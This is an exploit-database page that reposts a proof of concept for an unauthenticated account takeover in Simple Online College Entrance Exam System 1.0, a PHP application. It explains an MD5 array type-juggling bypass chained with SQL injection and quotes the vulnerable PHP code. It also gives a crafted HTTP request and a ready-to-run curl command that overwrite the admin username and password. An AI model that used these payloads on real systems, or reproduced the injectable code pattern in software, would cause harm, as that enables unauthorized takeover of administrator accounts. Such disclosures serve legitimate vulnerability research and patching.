Simple online college entrance exam system 1.0 account takeover Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-10-08 | Type : webapps | Platform : php
This exploit / vulnerability Simple online college entrance exam system 1.0 account takeover is for educational purposes only and if it is used you will do on your own risk!

[+] Code ...

# Exploit Title: Simple Online College Entrance Exam System 1.0 - Account Takeover
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Unauthenticated password change leading to account takeover

Explanation: By setting the parameter old_password as array, the MD5 function on it returns null, so md5($old_password) == $_SESSION['password'] since we have no session, thus bypassing the check, after that we can use SQLI and inject our custom data.

Request:
POST /entrance_exam/Actions.php?a=update_credentials HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 129

id=4&username=test',`password`='916b5dbd201b469998d9b4a4c8bc4e08'+WHERE+admin_id=4;%23&password=commented_out&old_password[]=test

Vulnerable code in Actions.php:
function update_credentials(){
extract($_POST);
$data = "";
foreach($_POST as $k => $v){
if(!in_array($k,array('id','old_password')) && !empty($v)){
if(!empty($data)) $data .= ",";
if($k == 'password') $v = md5($v);
$data .= " `{$k}` = '{$v}' ";
}
}
...
if(!empty($password) && md5($old_password) != $_SESSION['password']){
$resp['status'] = 'failed';
$resp['msg'] = "Old password is incorrect.";
}else{
$sql = "UPDATE `admin_list` set {$data} where admin_id = '{$_SESSION['admin_id']}'";
@$save = $this->query($sql);

PoC that changes the password and username of user 'admin' to 'exploitdb':
curl -d "username=exploitdb',%60password%60='916b5dbd201b469998d9b4a4c8bc4e08' WHERE admin_id=1;%23&password=useless&old_password[]=useless" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=update_credentials'